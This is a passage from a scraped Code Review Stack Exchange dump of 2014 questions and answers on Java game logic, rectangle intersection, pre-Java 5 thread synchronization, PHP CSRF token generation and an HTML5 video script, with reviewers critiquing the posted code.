this:</p>\n\n<pre><code>boolean playAgain = keyboard.NextLine().toLowerCase().startsWith(\"y\");\n</code></pre>\n\n<p>Notice how I also added <code>toLowerCase()</code> so \"Y\" is also accounted for, and used <code>startsWith()</code> to make the code more descriptive.</p>\n\n<h1>It's ongoing</h1>\n\n<p>This is a very minor remark so feel free to ignore the advice it if you think it isn't important. </p>\n\n<p>Your <code>while</code> loop does this:</p>\n\n<pre><code>while (!gameEnded)\n</code></pre>\n\n<p>Maybe it's just me, but I'm a nitpicker and it doesn't have much feng shui to it. I would prefer to read</p>\n\n<pre><code>while(!endOfGame)\n</code></pre>\n\n<p>or</p>\n\n<pre><code>while(running)\n</code></pre>\n\n<h1>Keep it short but readable</h1>\n\n<p>We can shorten this exhaustive block </p>\n\n<pre><code>if (tries == 1) {\n System.out.println(\"Good job. You guessed it in 1 try.\");\n} else {\n System.out.println(\"Good job. You guessed it in \" + tries\n + \" tries.\");\n}\n</code></pre>\n\n<p>to</p>\n\n<pre><code>System.out.println(\"Good job. You guessed it in \" + tries + (tries == 1 ? \" try.\" : \" tries.\")); \n</code></pre>\n\n<p>For such a small sentence, I would allow inlining that multiplication. The meaning is still conveyed clearly.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T13:53:36.033",
"Id": "82540",
"Score": "1",
"body": "I would also add `trim()` to remove blank spaces: `boolean playAgain = keyboard.NextLine().trim().toLowerCase().startsWith(\"y\");`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T11:59:05.377",
"Id": "82577",
"Score": "0",
"body": "Just one minor thing tho, how could I use the try/catch block when I ask for a number?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:03:36.227",
"Id": "82584",
"Score": "0",
"body": "`try { Integer.ParseInt(keyboard.nextLine()); } catch (NumberFormatException e) { System.out.println(\"This is not a valid number }`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:26:47.747",
"Id": "82588",
"Score": "0",
"body": "Thank you.. it seems to catch the first error, but if continue using bad input it crashes, I'll do some research on exceptions! I have improved the code a lot, thanks!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-20T10:34:26.080",
"Id": "83615",
"Score": "0",
"body": "For some reason I do not like: System.out.println(\"Good job. You guessed it in \" + tries + (tries == 1 ? \" try.\" : \" tries.\"));"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T01:20:01.297",
"Id": "47034",
"ParentId": "47028",
"Score": "7"
}
}
] | {
"AcceptedAnswerId": "47034",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T22:52:16.063",
"Id": "47028",
"Score": "10",
"Tags": [
"java",
"game",
"number-guessing-game"
],
"Title": "\"Guess a number\" game in Java"
} | 47028 |
<p>Given two rectangles, return the intersecting rectangles. This class is thread-safe. It takes rectangles in two different representations, and returns the intersecting rectangle in the respective representations.</p>
<p>Looking for code review, optimization and best practices.</p>
<pre><code>final class RectangleWithPoints {
private final int leftTopX;
private final int leftTopY;
private final int rightBottomX;
private final int rightBottomY;
RectangleWithPoints (int leftTopX, int leftTopY, int rightBottomX, int rightBottomY) {
this.leftTopX = leftTopX;
this.leftTopY = leftTopY;
this.rightBottomX = rightBottomX;
this.rightBottomY = rightBottomY;
}
public int getTopLeftX() {
return leftTopX;
}
public int getTopLeftY() {
return leftTopY;
}
public int getBottomRightX() {
return rightBottomX;
}
public int getBottomRightY() {
return rightBottomY;
}
@Override
public String toString() {
/*
* http://stackoverflow.com/questions/1532461/stringbuilder-vs-string-concatenation-in-tostring-in-java
*/
return "TopLeftPoint: (" + leftTopX + "," + leftTopY + ")" + " BottomRightPoint: (" + rightBottomX + "," + rightBottomY + ")" ;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + leftTopX;
result = prime * result + leftTopY;
result = prime * result + rightBottomX;
result = prime * result + rightBottomY;
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
RectangleWithPoints other = (RectangleWithPoints) obj;
if (leftTopX != other.leftTopX)
return false;
if (leftTopY != other.leftTopY)
return false;
if (rightBottomX != other.rightBottomX)
return false;
if (rightBottomY != other.rightBottomY)
return false;
return true;
}
}
final class RectangleWithHeightAndWidth {
private final int leftBottomX;
private final int leftBottomY;
private final int height;
private final int width;
RectangleWithHeightAndWidth (int leftBottomX, int leftBottomY, int height, int width) {
this.leftBottomX = leftBottomX;
this.leftBottomY = leftBottomY;
this.height = height;
this.width = width;
}
public int getLeftBottomX() {
return leftBottomX;
}
public int getLeftBottomY() {
return leftBottomY;
}
public int getHeight() {
return height;
}
public int getWidth() {
return width;
}
@Override
public String toString() {
/*
* http://stackoverflow.com/questions/1532461/stringbuilder-vs-string-concatenation-in-tostring-in-java
*/
return "BottomLeftPoint: (" + leftBottomX + "," + leftBottomY + "), Height: " + height + " Width: " + width;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + height;
result = prime * result + leftBottomX;
result = prime * result + leftBottomY;
result = prime * result + width;
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
RectangleWithHeightAndWidth other = (RectangleWithHeightAndWidth) obj;
if (height != other.height)
return false;
if (leftBottomX != other.leftBottomX)
return false;
if (leftBottomY != other.leftBottomY)
return false;
if (width != other.width)
return false;
return true;
}
}
public final class OverlappingRectangles {
private OverlappingRectangles() { }
private static boolean intersects(RectangleWithPoints rect1, RectangleWithPoints rect2) {
// is one rectangle on left side of other
if (rect1.getBottomRightX() < rect2.getTopLeftX() || rect2.getBottomRightX() < rect1.getTopLeftX()) {
return false;
}
// is one of the rectangle is below the other.
if (rect1.getTopLeftY() < rect2.getBottomRightY() || rect2.getTopLeftY() < rect1.getBottomRightY()) {
return false;
}
return true;
}
/**
* Given two overlapping rectangles, returns the intersecting rectangle.
* If rectangles are not overlapping then exception is thrown.
* It is clients responsibility to pass in the valid Rectangle object, else results are unpredictable.
*
*
* @param rect1 The rectangle
* @param rect2 The second rectangle
* @return The intersecting rectangle.
* @throws IllegalArgumentException if it occurs.
*/
public static RectangleWithPoints fecthIntersectingRectangle (RectangleWithPoints rect1, RectangleWithPoints rect2) {
if (!intersects(rect1, rect2)) throw new IllegalArgumentException("The rectangles cannot intersect.");
RectangleWithPoints rectLeft = null;
RectangleWithPoints rectRight = null;
if (rect1.getTopLeftX() < rect2.getTopLeftX()) {
rectLeft = rect1;
rectRight = rect2;
} else {
rectLeft = rect2;
rectRight = rect1;
}
// check if the 'top y' axis of 'right' rectangle falls in range of 'height' of 'left' rectangle
if (rectRight.getTopLeftY() < rectLeft.getTopLeftY() && rectRight.getTopLeftY() > rectLeft.getBottomRightY()) {
return new RectangleWithPoints(rectRight.getTopLeftX(), rectRight.getTopLeftY(), rectLeft.getBottomRightX(), rectRight.getBottomRightY());
}
// means the 'bottom y' axis of the 'right' rectangle falls in the range of 'hieght' of 'left rantangle'
return new RectangleWithPoints(rectRight.getTopLeftX(), rectLeft.getTopLeftY(), rectLeft.getBottomRightX(), rectRight.getBottomRightY());
}
private static boolean intersects(RectangleWithHeightAndWidth rect1, RectangleWithHeightAndWidth rect2) {
// is one rectangle on left side of other
if ((rect1.getLeftBottomX() + rect1.getWidth() < rect2.getLeftBottomX())
|| (rect2.getLeftBottomX() + rect2.getWidth() < rect1.getLeftBottomX())) {
return false;
}
// is one rectangle is below the other
if ((rect1.getLeftBottomY() + rect1.getHeight() < rect2.getLeftBottomY()) ||
(rect2.getLeftBottomY() + rect2.getHeight() < rect1.getLeftBottomY())) {
return false;
}
return true;
}
/**
* Given two overlapping rectangles, returns the intersecting rectangle.
* If rectangles are not overlapping then exception is thrown.
* It is clients responsibility to pass in the valid Rectangle object, else results are unpredictable.
*
*
* @param rect1 The rectangle
* @param rect2 The second rectangle
* @return The intersecting rectangle.
* @throws IllegalArgumentException if it occurs.
*/
public static RectangleWithHeightAndWidth fetchIntersectingRectangle (RectangleWithHeightAndWidth rect1, RectangleWithHeightAndWidth rect2) {
if (!intersects(rect1, rect2)) throw new IllegalArgumentException("The rectangles cannot intersect.");
RectangleWithHeightAndWidth rectLeft = null;
RectangleWithHeightAndWidth rectRight = null;
if (rect1.getLeftBottomX() < rect2.getLeftBottomX()) {
rectLeft = rect1;
rectRight = rect2;
} else {
rectLeft = rect2;
rectRight = rect1;
}
int rectRightSmallX = rectRight.getLeftBottomX();
int rectRightTopY = rectRight.getLeftBottomY() + rectRight.getHeight();
int rectRightBottomY = rectRight.getLeftBottomY();
int rectLeftBigX = rectLeft.getLeftBottomX() + rectLeft.getWidth();
int rectLeftTopY = rectLeft.getLeftBottomY() + rectLeft.getHeight();
int rectLeftBottomY = rectLeft.getLeftBottomY();
// check if the 'top y' axis of 'right' rectangle falls in range of 'height' of 'left' rectangle
if ((rectRightTopY < rectLeftTopY) && (rectRightTopY > rectLeftBottomY)) {
return new RectangleWithHeightAndWidth(rectRightSmallX,
rectLeftBottomY,
rectRightTopY - rectLeftBottomY,
rectLeftBigX - rectRightSmallX);
} else {
return new RectangleWithHeightAndWidth(rectRightSmallX,
rectRightBottomY,
rectLeftTopY - rectRightBottomY,
rectLeftBigX- rectRightSmallX);
}
}
public static void main(String[] args) {
// top-left corner, of right rectangle intersects
assertEquals(new RectangleWithPoints(15, 25, 25, 5),
fecthIntersectingRectangle(new RectangleWithPoints(10, 35, 25, 15),
new RectangleWithPoints(15, 25, 35, 5)));
// bottom-left corner of right rectangle intersects
assertEquals(new RectangleWithPoints(20, 40, 30, 30),
fecthIntersectingRectangle(new RectangleWithPoints(10, 40, 30, 20),
new RectangleWithPoints(20, 50, 40, 30)));
// top-left corner, of right rectangle intersects
assertEquals(new RectangleWithHeightAndWidth(20, 20, 10, 10),
fetchIntersectingRectangle(new RectangleWithHeightAndWidth(10, 20, 20, 20),
new RectangleWithHeightAndWidth(20, 10, 20, 20)));
// bottom-left corner of right rectangle intersects
assertEquals(new RectangleWithHeightAndWidth(20, 30, 10, 10),
fetchIntersectingRectangle(new RectangleWithHeightAndWidth(10, 20, 20, 20),
new RectangleWithHeightAndWidth(20, 30, 20, 20)));
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:06:28.210",
"Id": "82503",
"Score": "0",
"body": "I'm not sure if you are required to keep the two representations, but I would stick with just one. It gets unnecessarily complicated otherwise. Of course, you could have a constructor that takes the parameters for the other representation if you need to read rectangles from different sources."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T14:41:39.733",
"Id": "82598",
"Score": "0",
"body": "Why are you making your classes `final`?"
}
] | [
{
"body": "<p>Instead of putting unit tests in the <code>main</code> method, create proper JUnit tests.</p>\n\n<hr>\n\n<p>At least one of your unit tests is incorrect:</p>\n\n<pre><code>assertEquals(new RectangleWithPoints(15, 25, 25, 5), \n fecthIntersectingRectangle(new RectangleWithPoints(10, 35, 25, 15), \n new RectangleWithPoints(15, 25, 35, 5)));\n</code></pre>\n\n<p>This test corresponds to something like this:</p>\n\n<pre><code>AAA\nAAA\nAXXBB\nAXXBB\n XXBB\n XXBB\n</code></pre>\n\n<p>The intersection of the <code>A</code> and <code>B</code> rectangles (right side of your case) should be <code>(15, 25, 25, 15)</code> instead of <code>(15, 25, 25, 5)</code>. So something's wrong with your intersection implementation.</p>\n\n<hr>\n\n<p>Try to cover all corner cases with unit tests. For example test non-intersecting rectangles:</p>\n\n<pre><code>@Test(expected = IllegalArgumentException.class)\npublic void testNonIntersectingRectangles() {\n OverlappingRectangles.fetchIntersectingRectangle(new RectangleWithHeightAndWidth(10, 20, 20, 20),\n new RectangleWithHeightAndWidth(120, 130, 20, 20));\n}\n</code></pre>\n\n<p>Similarly, adding unit tests for the <code>intersects</code> method would be good too.</p>\n\n<hr>\n\n<p>The classes <code>RectangleWithPoints</code> and <code>RectangleWithHeightAndWidth</code> are not general enough. One could be transformed to the other, so it would be better to have a single <code>Rectangle</code> class, with factory methods like <code>createWithPoints</code> and <code>createWithHeightAndWidth</code>. That would eliminate a lot of your duplicated code, as only one <code>equals</code>, <code>toString</code>, <code>hashCode</code> and <code>intersects</code> would be enough.</p>\n\n<hr>\n\n<p>Name your variables and methods consistently: either use <code>leftTopX</code> and <code>getLeftTopX</code> everywhere or <code>topLeftX</code> and <code>getTopLeftX</code> everywhere but don't mix both here and there.</p>\n\n<hr>\n\n<p>About <code>toString</code>, the <a href=\"https://stackoverflow.com/questions/1532461/stringbuilder-vs-string-concatenation-in-tostring-in-java\">SO discussion you linked</a> is concerning <code>StringBuilder</code> versus concatenation efficiency. In case of your <code>toString</code> methods, performance doesn't matter. You only need to optimize string concatenation in specific situations where performance really matters and the method is called millions of times. In <code>toString</code> methods like yours I use this less efficient but more readable format:</p>\n\n<pre><code>return String.format(\"TopLeftPoint: (%s,%s) BottomRightPoint: (%s,%s)\",\n topLeftX, topLeftY, bottomRightX, bottomRightY);\n</code></pre>\n\n<hr>\n\n<p>A more common and compact form of your <code>equals</code> method would be:</p>\n\n<pre><code>@Override\npublic boolean equals(Object obj) {\n if (obj instanceof RectangleWithPoints) {\n RectangleWithPoints other = (RectangleWithPoints) obj;\n return leftTopX == other.leftTopX\n && leftTopY == other.leftTopY\n && rightBottomX == other.rightBottomX\n && rightBottomY == other.rightBottomY;\n }\n return false;\n}\n</code></pre>\n\n<hr>\n\n<p>I would rename <code>fecthIntersectingRectangle</code> to <code>getIntersectingRectangle</code>. The word \"fetch\" usually evokes downloading something from a remote service or database.</p>\n\n<hr>\n\n<p>It <em>might</em> make sense to move the methods of the <code>OverlappingRectangles</code> utility class inside your new refactored <code>Rectangle</code>. It depends on your use case.</p>\n\n<p>See my refactored version on <a href=\"https://github.com/janosgyerik/animated-octo-batman/blob/master/practice/src/test/java/com/janosgyerik/practice/so/RectangleTest.java\" rel=\"nofollow noreferrer\">GitHub</a> (taking hints from <a href=\"https://codereview.stackexchange.com/users/1635/david-harkness\">@david-harkness</a> as well).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T08:51:11.057",
"Id": "47049",
"ParentId": "47029",
"Score": "4"
}
},
{
"body": "<p>You can simplify your model by using <code>left</code>, <code>right</code>/<code>width</code>, <code>bottom</code>, and <code>top</code>/<code>height</code> values. The name <code>leftTopX</code> is superfluous because the left edge's <code>x</code> coordinate will be the same at the top and bottom in any rectangle.</p>\n\n<p>Even though you store the four sides in one implementation and the height and width in the other, you could still provide the full set of accessors for both. For example,</p>\n\n<pre><code>public int getWidth() {\n return width;\n}\n\npublic int getRight() {\n return left + width;\n}\n</code></pre>\n\n<p>You can simplify your intersection methods by employing <code>min</code> and <code>max</code>. It would be nice to make these instance methods of the rectangle classes at the same time and introduce some static factory methods.</p>\n\n<pre><code>public Rectangle intersection(Rectangle other) {\n return Rectangle.fromFourSides(\n Math.max(left, other.left), Math.min(top, other.top), \n Math.min(right, other.right), Math.max(bottom, other.bottom));\n}\n</code></pre>\n\n<p>Move the validity check into the <code>Rectangle</code> constructors so you don't have to check everywhere you want to create one.</p>\n\n<pre><code>public Rectangle(left, top, right, bottom) {\n if (left >= right) {\n throw new IllegalArgumentException(\"Width must be positive\");\n }\n if (bottom >= top) {\n throw new IllegalArgumentException(\"Height must be positive\");\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T10:48:01.220",
"Id": "47052",
"ParentId": "47029",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T23:21:38.530",
"Id": "47029",
"Score": "5",
"Tags": [
"java",
"algorithm"
],
"Title": "Find intersecting rectangle"
} | 47029 |
<p>I would like to revise the fundamentals of Java threads on before-Java 5, so that I can understand improvements in Java 5 and beyond.</p>
<p>I started off with a custom collection and need help on:</p>
<ol>
<li>Things I am doing wrong / grossly overlooking</li>
<li>How to make it better</li>
<li>Suggest alternate implementation, if any</li>
<li>Which is the correct place to have the <code>kill</code> variable? Is it inside the thread
or in the collection like I did?</li>
</ol>
<p></p>
<pre><code>public class ThreadCreation {
public static void main(String[] args) {
MyCollection coll = new MyCollection();
coll.kill = false;
RemoveCollClass t2 = new RemoveCollClass();
t2.setName("Thread2");
t2.coll = coll;
t2.start();
AddCollClass t1 = new AddCollClass();
t1.setName("Thread1");
t1.coll = coll;
t1.start();
RemoveCollClass t3 = new RemoveCollClass();
t3.setName("Thread3");
t3.coll = coll;
t3.start();
try {
Thread.sleep(10000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
coll.kill = true;
}
static class AddCollClass extends Thread {
volatile MyCollection coll;
int count = 0;
@Override
public void run() {
while (!coll.kill) {
System.out.println(Thread.currentThread().getName()
+ " --> AddCollClass Attempt -->" + count);
coll.add();
count++;
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
static class RemoveCollClass extends Thread {
volatile MyCollection coll;
int count = 0;
@Override
public void run() {
// System.out.println("ThreadClass is running ");
while (!coll.kill) {
System.out.println(Thread.currentThread().getName()
+ " -->RemoveCollClass Attempt -->" + count);
coll.remove();
count++;
}
}
}
static class MyCollection {
Stack<String> container = new Stack<String>();
int maxSize = 5;
volatile boolean kill = false;
public synchronized boolean isFull() {
if (container.size() >= maxSize)
return true;
else
return false;
}
public synchronized boolean isEmpty() {
if (container.size() <= 0)
return true;
else
return false;
}
public synchronized void add() {
if (isFull()) {
try {
System.out.println("wait triggered on-->"
+ Thread.currentThread().getName());
wait();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
notify();
}
}
if (!isFull()) {
container.add(Thread.currentThread().getName());
System.out.println(" Add Completed by "
+ Thread.currentThread().getName());
notify();
}
}
public synchronized void remove() {
if (isEmpty()) {
try {
System.out.println("wait triggered on-->"
+ Thread.currentThread().getName());
wait();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
notify();
}
}
if (!isEmpty()) {
container.pop();
System.out.println(" Remove Completed by "
+ Thread.currentThread().getName());
}
}
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T00:26:46.923",
"Id": "82368",
"Score": "0",
"body": "I found one issue , RemoveCollClass thread will go on a indefinite wait if AddCollClass thread stops before RemoveCollClass thread. Solution : Thread should wait on certain timeperiod"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T00:47:14.977",
"Id": "82374",
"Score": "1",
"body": "Can you give a brief explanation of what this code is supposed to do before I launch into reading over it?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T00:53:57.723",
"Id": "82375",
"Score": "0",
"body": "@JeffGohlke Code review the custom Collection Class on parameters like thread safety , correctness of the implementation etc."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T00:56:22.873",
"Id": "82376",
"Score": "0",
"body": "Another improvement i came across is to provide cancellation mechanism, to make thread stop doing whatever its doing , and return the control to run method , so that they can be retried or gracefully stopped"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T03:14:05.210",
"Id": "82387",
"Score": "0",
"body": "Your question is a little ambiguous... when you say 'pre-Java5' do you mean 'before Java5' (excluding Java5), or do you mean Java5 and earlier (including Java5)?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T03:43:40.510",
"Id": "82388",
"Score": "0",
"body": "@rolfl before Java 5"
}
] | [
{
"body": "<p>Regardless of which version of Java you are using, there are a few things you have 'wrong' when it comes to best-practice threading in Java.</p>\n\n<h1>The Big Picture</h1>\n\n<ul>\n<li>avoid volatile unless you have no choice (especially pre-Java5 - In Java5 and later the volatile keyword introduces more predictable behaviour).</li>\n<li>in this program, you have a choice, and you don't need volatile.</li>\n<li>avoid extending thread. Instead, extend Runnable and use the runnable as a Thread constructor.</li>\n<li>never synchronize on the methods unless you really, really have to, and you do not have to.</li>\n</ul>\n\n<h2>Synchronization</h2>\n\n<p>By synchronizing on the methods, it means anyone can mess up your program. Consider a person who decides to use your class as some construct in their program, and they do:</p>\n\n<pre><code>private final MyCollection mycoll = new MyCollection();\n\npublic void methodABC() {\n synchronized(mycoll) {\n // do a bunch of stuff\n }\n}\n</code></pre>\n\n<p>Suddenly your synchronization is screwed.... and deadlocks happen. See <a href=\"https://stackoverflow.com/a/442601/1305253\">this Stack Overflow discussion</a>.</p>\n\n<p>Since, your MyCollection class has the <code>collection</code> Stack instance, use that as your monitor lock..... (and make it a private-final as well:</p>\n\n<pre><code>static class MyCollection {\n private final Stack<String> container = new Stack<String>();\n\n int maxSize = 5;\n volatile boolean kill = false;\n\n public boolean isFull() {\n synchronized (container) {\n return container.size() >= maxSize;\n }\n }\n</code></pre>\n\n<p>Also, you should use <code>notifyAll()</code> and not just <code>notify()</code>. This is especially true when you use method/instance synchronization, because anyone outside your class will potentially get the notify, if they are the ones blocking your class.... You may end up notifying some other thread that is not part of your class.... actually, there is a real bug there:</p>\n\n<h3>Bug: Incorrect notification.</h3>\n\n<p>If two threads remove an item from a full collection, and two other threads are waiting for space to put things in .... then both the removing threads may notify the same adding thread, and the second adding thread may still be waiting even through there is space....</p>\n\n<p>use <code>notifyAll();</code></p>\n\n<h2>Volatile</h2>\n\n<p>Volatile before Java5 was somewhat broken. Don;t use it.</p>\n\n<p>None of your methods block while holding the lock (they all 'wait' which releases the lock...). As a result, your lock-holds are really short.</p>\n\n<p>There is no reason to separate the <code>kill</code> as a volatile then. Simply have a <code>kill</code> and <code>isKilled</code> method.</p>\n\n<p>When <a href=\"http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html\" rel=\"nofollow noreferrer\">you can understand this article</a>, you can use volatile</p>\n\n<h2>Runnable</h2>\n\n<p>All your 'Thread' classes should instead be Runnable.</p>\n\n<p>They should have private final variables, and not have volatile at all. For example, this class:</p>\n\n<blockquote>\n<pre><code>static class RemoveCollClass extends Thread {\n\n volatile MyCollection coll;\n int count = 0;\n\n @Override\n public void run() {\n // System.out.println(\"ThreadClass is running \");\n\n while (!coll.kill) {\n System.out.println(Thread.currentThread().getName()\n + \" -->RemoveCollClass Attempt -->\" + count);\n coll.remove();\n count++;\n\n }\n\n }\n}\n</code></pre>\n</blockquote>\n\n<p>Should look like:</p>\n\n<pre><code>static class RemoveCollClass implements Runnable {\n\n private final MyCollection coll;\n int count = 0;\n\n public RemoveCollClass(MyCollection coll) {\n super();\n this.coll = coll;\n }\n\n\n public void run() {\n // System.out.println(\"ThreadClass is running \");\n\n while (!coll.isKilled()) {\n System.out.println(Thread.currentThread().getName()\n + \" -->RemoveCollClass Attempt -->\" + count);\n coll.remove();\n count++;\n\n }\n\n }\n}\n</code></pre>\n\n<p>Then, use the Runnable as a Thread constructor:</p>\n\n<pre><code> RemoveCollClass rcc2 = new RemoveCollClass(coll);\n Thread t2 = new Thread(rcc2, \"Thread2\");\n t2.setDaemon(true);\n t2.start();\n</code></pre>\n\n<h1>The Small Things:</h1>\n\n<ul>\n<li><p>Simplify your logic:</p>\n\n<blockquote>\n<pre><code> public synchronized boolean isEmpty() {\n if (container.size() <= 0)\n return true;\n else\n return false;\n }\n</code></pre>\n</blockquote>\n\n<p>This code can be simply:</p>\n\n<pre><code>public synchronized boolean isFull() {\n return container.size() >= maxSize;\n}\n\npublic synchronized boolean isEmpty() {\n return container.empty();\n}\n</code></pre>\n\n<ul>\n<li>//TODO in catch block ... why?</li>\n</ul>\n\n<blockquote>\n<pre><code> } catch (InterruptedException e) {\n // TODO Auto-generated catch block\n e.printStackTrace();\n notify();\n }\n</code></pre>\n</blockquote>\n\n<ul>\n<li>Don't use i-liner if/else blocks. They lead to bugs:</li>\n</ul>\n\n<blockquote>\n<pre><code> if (container.size() <= 0)\n return true;\n</code></pre>\n</blockquote></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T04:17:56.200",
"Id": "82390",
"Score": "0",
"body": "Thanks for detailed review . Few questions though 1) Ideal place for kill variable , inside a collection or inside every thread ? 2) Why kill should not be volatile , how else to force threads from caching the data 3) why is method level synchronization bad , i understand it locks the entire instance , but how does it lead to deadlock?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T08:39:34.663",
"Id": "82401",
"Score": "2",
"body": "@Sudhakar Using the object itself as the lock allows other code to lock it out of its control. This by itself won't cause a deadlock, but it exposes the possibility."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T13:35:46.353",
"Id": "82405",
"Score": "0",
"body": "@Sudhakar - I was literally falling asleep so I posted before editing/fixing the answer.... going through things again now."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T03:54:20.313",
"Id": "47042",
"ParentId": "47030",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T23:51:58.097",
"Id": "47030",
"Score": "4",
"Tags": [
"java",
"multithreading",
"thread-safety"
],
"Title": "Pre-Java 5 threads"
} | 47030 |
<p>I googled around for secure random number generation and random string generation, combining them with some user data.</p>
<p>Is this good or am I totally off-base? I don't know much about cryptography but I do not see many alternatives, other than some bad code that gets copied around a lot with <code>mt_rand</code> and <code>uniqid</code>.</p>
<pre><code>//csrf tokens
public function csrf_token($regen = false)
{
if($regen === true) {
//we need to give the user a token
if(isset($_SESSION["__csrf_token"])) {
unset($_SESSION["__csrf_token"]);
}
$max = mt_rand(0, mt_getrandmax());
$rand_num = floor($max*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
$rand_string = "";
for($i=0; $i < 11; $i++) {
$x = mt_rand(0, 2);
switch($x) {
case 0: $rand_string.= chr(mt_rand(97,122));break;
case 1: $rand_string.= chr(mt_rand(65,90));break;
case 2: $rand_string.= chr(mt_rand(48,57));break;
}
}
$_SESSION["__csrf_token"] = hash('whirlpool', $rand_num . $this->username . $rand_string . $this->hash_pw);
$this->csrf_token = $_SESSION["__csrf_token"];
return $this->csrf_token;
}else{
//the user already has a token
return $this->csrf_token;
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T01:06:38.717",
"Id": "82377",
"Score": "1",
"body": "To me, it looks like it's doing too much. I'd just generate 16 random bytes, convert them to hex, and be done with it."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T01:34:45.440",
"Id": "82379",
"Score": "0",
"body": "thanks icktoofay. you're probably right. i will consider this when refactoring the code. thank you for your time."
}
] | [
{
"body": "<p>If CSRF stands for Cross Site Request Forgery, then it's hard to imagine why I should help. </p>\n\n<p>In any case, simply doing a cryptographic Whirlpool hash of a user-supplied string with a random seed value should be sufficiently random for most every purpose. The rest is just obfuscation and doesn't add to security.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T01:33:46.260",
"Id": "82378",
"Score": "0",
"body": "I appreciate your reply. i am not the sharpest knife in the drawer and it is hard for me to decide how much is good enough. so what i infer from your post, i should just hash the hash_pw(user supplied string) with a random number(Random seed), or should i hash it with the random string as well."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T02:36:11.930",
"Id": "82383",
"Score": "0",
"body": "[Related meta post on malicious code.](http://meta.codereview.stackexchange.com/q/1517/27623)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T06:09:15.990",
"Id": "82396",
"Score": "0",
"body": "@syb0rg how is that related?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T16:18:39.210",
"Id": "82427",
"Score": "0",
"body": "@r3wt It was more related to Edward's comment about why he found it hard to help."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:00:06.430",
"Id": "82452",
"Score": "1",
"body": "i'm lost.. what about my code is malicious?"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T01:26:37.860",
"Id": "47035",
"ParentId": "47031",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T00:55:05.703",
"Id": "47031",
"Score": "4",
"Tags": [
"php",
"random",
"hashcode"
],
"Title": "Generating random and secure CSRF tokens"
} | 47031 |
<p>The code displays a video that will play a video and then display some text on the screen at specific locations on the video screen.</p>
<p>The code works but I would like to see if I could change somethings to make it better and how I would do that. You should be able to just copy the code into a web browser and it should work fine.</p>
<pre><code><!doctype html>
<html>
<head>
<script type="text/javascript">
window.addEventListener('load', eventWindowLoaded, false);
var videoElement;
var videoDiv;
function eventWindowLoaded() {
videoElement = document.createElement("video");
videoDiv = document.createElement('div');
document.body.appendChild(videoDiv);
videoDiv.appendChild(videoElement);
videoDiv.setAttribute("style", "display:none;");
var videoType = supportedVideoFormat(videoElement);
videoElement.addEventListener("canplaythrough",videoLoaded,false);
videoElement.setAttribute("src", "muirbeach." + videoType);
}
function supportedVideoFormat(video) {
var returnExtension = "";
